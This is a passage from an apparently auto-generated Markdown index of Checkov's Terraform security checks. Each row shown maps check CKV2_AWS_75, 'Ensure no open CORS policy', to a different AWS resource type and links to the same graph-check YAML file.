[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3107 | CKV2_AWS_75 | resource | aws_opensearch_vpc_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3108 | CKV2_AWS_75 | resource | aws_opensearchserverless_access_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3109 | CKV2_AWS_75 | resource | aws_opensearchserverless_collection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3110 | CKV2_AWS_75 | resource | aws_opensearchserverless_lifecycle_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3111 | CKV2_AWS_75 | resource | aws_opensearchserverless_security_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3112 | CKV2_AWS_75 | resource | aws_opensearchserverless_security_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3113 | CKV2_AWS_75 | resource | aws_opensearchserverless_vpc_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3114 | CKV2_AWS_75 | resource | aws_opsworks_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3115 | CKV2_AWS_75 | resource | aws_opsworks_custom_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3116 | CKV2_AWS_75 | resource | aws_opsworks_ecs_cluster_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3117 | CKV2_AWS_75 | resource | aws_opsworks_ganglia_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3118 | CKV2_AWS_75 | resource | aws_opsworks_haproxy_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3119 | CKV2_AWS_75 | resource | aws_opsworks_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3120 | CKV2_AWS_75 | resource | aws_opsworks_java_app_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3121 | CKV2_AWS_75 | resource | aws_opsworks_memcached_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3122 | CKV2_AWS_75 | resource | aws_opsworks_mysql_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3123 | CKV2_AWS_75 | resource | aws_opsworks_nodejs_app_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3124 | CKV2_AWS_75 | resource | aws_opsworks_permission | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3125 | CKV2_AWS_75 | resource | aws_opsworks_php_app_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3126 | CKV2_AWS_75 | resource | aws_opsworks_rails_app_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3127 | CKV2_AWS_75 | resource | aws_opsworks_rds_db_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3128 | CKV2_AWS_75 | resource | aws_opsworks_stack | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3129 | CKV2_AWS_75 | resource | aws_opsworks_static_web_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3130 | CKV2_AWS_75 | resource | aws_opsworks_user_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3131 | CKV2_AWS_75 | resource | aws_organizations_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3132 | CKV2_AWS_75 | resource | aws_organizations_delegated_administrator | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3133 | CKV2_AWS_75 | resource | aws_organizations_organization | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3134 | CKV2_AWS_75 | resource | aws_organizations_organizational_unit | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3135 | CKV2_AWS_75 | resource | aws_organizations_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3136 | CKV2_AWS_75 | resource | aws_organizations_policy_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3137 | CKV2_AWS_75 | resource | aws_organizations_resource_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3138 | CKV2_AWS_75 | resource | aws_osis_pipeline | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3139 | CKV2_AWS_75 | resource | aws_paymentcryptography_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3140 | CKV2_AWS_75 | resource | aws_paymentcryptography_key_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3141 | CKV2_AWS_75 | resource | aws_pinpoint_adm_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3142 | CKV2_AWS_75 | resource | aws_pinpoint_apns_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3143 | CKV2_AWS_75 | resource | aws_pinpoint_apns_sandbox_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3144 | CKV2_AWS_75 | resource | aws_pinpoint_apns_voip_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3145 | CKV2_AWS_75 | resource | aws_pinpoint_apns_voip_sandbox_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3146 | CKV2_AWS_75 | resource | aws_pinpoint_app | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3147 | CKV2_AWS_75 | resource | aws_pinpoint_baidu_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3148 | CKV2_AWS_75 | resource | aws_pinpoint_email_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3149 | CKV2_AWS_75 | resource | aws_pinpoint_email_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3150 | CKV2_AWS_75 | resource | aws_pinpoint_event_stream | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3151 | CKV2_AWS_75 | resource | aws_pinpoint_gcm_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3152 | CKV2_AWS_75 | resource | aws_pinpoint_sms_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3153 | CKV2_AWS_75 | resource | aws_pinpointsmsvoicev2_configuration_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3154 | CKV2_AWS_75 | resource | aws_pinpointsmsvoicev2_opt_out_list | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3155 | CKV2_AWS_75 | resource | aws_pinpointsmsvoicev2_phone_number | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3156 | CKV2_AWS_75 | resource | aws_pipes_pipe | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3157 | CKV2_AWS_75 | resource | aws_placement_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3158 | CKV2_AWS_75 | resource | aws_prometheus_alert_manager_definition | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3159 | CKV2_AWS_75 | resource | aws_prometheus_rule_group_namespace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3160 | CKV2_AWS_75 | resource | aws_prometheus_scraper | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3161 | CKV2_AWS_75 | resource | aws_prometheus_workspace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3162 | CKV2_AWS_75 | resource | aws_proxy_protocol_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3163 | CKV2_AWS_75 | resource | aws_qldb_ledger | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3164 | CKV2_AWS_75 | resource | aws_qldb_stream | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3165 | CKV2_AWS_75 | resource | aws_quicksight_account_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3166 | CKV2_AWS_75 | resource | aws_quicksight_analysis | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3167 | CKV2_AWS_75 | resource | aws_quicksight_dashboard | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3168 | CKV2_AWS_75 | resource | aws_quicksight_data_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3169 | CKV2_AWS_75 | resource | aws_quicksight_data_source | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3170 | CKV2_AWS_75 | resource | aws_quicksight_folder | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3171 | CKV2_AWS_75 | resource | aws_quicksight_folder_membership | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3172 | CKV2_AWS_75 | resource | aws_quicksight_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3173 | CKV2_AWS_75 | resource | aws_quicksight_group_membership | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3174 | CKV2_AWS_75 | resource | aws_quicksight_iam_policy_assignment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3175 | CKV2_AWS_75 | resource | aws_quicksight_ingestion | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3176 | CKV2_AWS_75 | resource | aws_quicksight_namespace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3177 | CKV2_AWS_75 | resource | aws_quicksight_refresh_schedule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3178 | CKV2_AWS_75 | resource | aws_quicksight_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3179 | CKV2_AWS_75 | resource | aws_quicksight_template_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3180 | CKV2_AWS_75 | resource | aws_quicksight_theme | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3181 | CKV2_AWS_75 | resource | aws_quicksight_user | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3182 | CKV2_AWS_75 | resource | aws_quicksight_vpc_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3183 | CKV2_AWS_75 | resource | aws_ram_principal_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3184 | CKV2_AWS_75 | resource | aws_ram_resource_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3185 | CKV2_AWS_75 | resource | aws_ram_resource_share | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3186 | CKV2_AWS_75 | resource | aws_ram_resource_share_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3187 | CKV2_AWS_75 | resource | aws_ram_sharing_with_organization | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3188 | CKV2_AWS_75 | resource | aws_rbin_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3189 | CKV2_AWS_75 | resource | aws_rds_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3190 | CKV2_AWS_75 | resource | aws_rds_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3191 | CKV2_AWS_75 | resource | aws_rds_cluster_activity_stream | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3192 | CKV2_AWS_75 | resource | aws_rds_cluster_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3193 | CKV2_AWS_75 | resource | aws_rds_cluster_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3194 | CKV2_AWS_75 | resource | aws_rds_cluster_parameter_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3195 | CKV2_AWS_75 | resource | aws_rds_cluster_role_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3196 | CKV2_AWS_75 | resource | aws_rds_cluster_snapshot_copy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3197 | CKV2_AWS_75 | resource | aws_rds_custom_db_engine_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3198 | CKV2_AWS_75 | resource | aws_rds_export_task | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3199 | CKV2_AWS_75 | resource | aws_rds_global_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3200 | CKV2_AWS_75 | resource | aws_rds_instance_state | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3201 | CKV2_AWS_75 | resource | aws_rds_integration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3202 | CKV2_AWS_75 | resource | aws_rds_reserved_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3203 | CKV2_AWS_75 | resource | aws_redshift_authentication_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3204 | CKV2_AWS_75 | resource | aws_redshift_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3205 | CKV2_AWS_75 | resource | aws_redshift_cluster_iam_roles | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3206 | CKV2_AWS_75 | resource | aws_redshift_cluster_snapshot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3207 | CKV2_AWS_75 | resource | aws_redshift_data_share_authorization | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3208 | CKV2_AWS_75 | resource | aws_redshift_data_share_consumer_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3209 | CKV2_AWS_75 | resource | aws_redshift_endpoint_access | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3210 | CKV2_AWS_75 | resource | aws_redshift_endpoint_authorization | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3211 | CKV2_AWS_75 | resource | aws_redshift_event_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3212 | CKV2_AWS_75 | resource | aws_redshift_hsm_client_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3213 | CKV2_AWS_75 | resource | aws_redshift_hsm_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3214 | CKV2_AWS_75 | resource | aws_redshift_logging | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3215 | CKV2_AWS_75 | resource | aws_redshift_parameter_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3216 | CKV2_AWS_75 | resource | aws_redshift_partner | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3217 | CKV2_AWS_75 | resource | aws_redshift_resource_policy | Ensure no open CORS policy | Terraform | 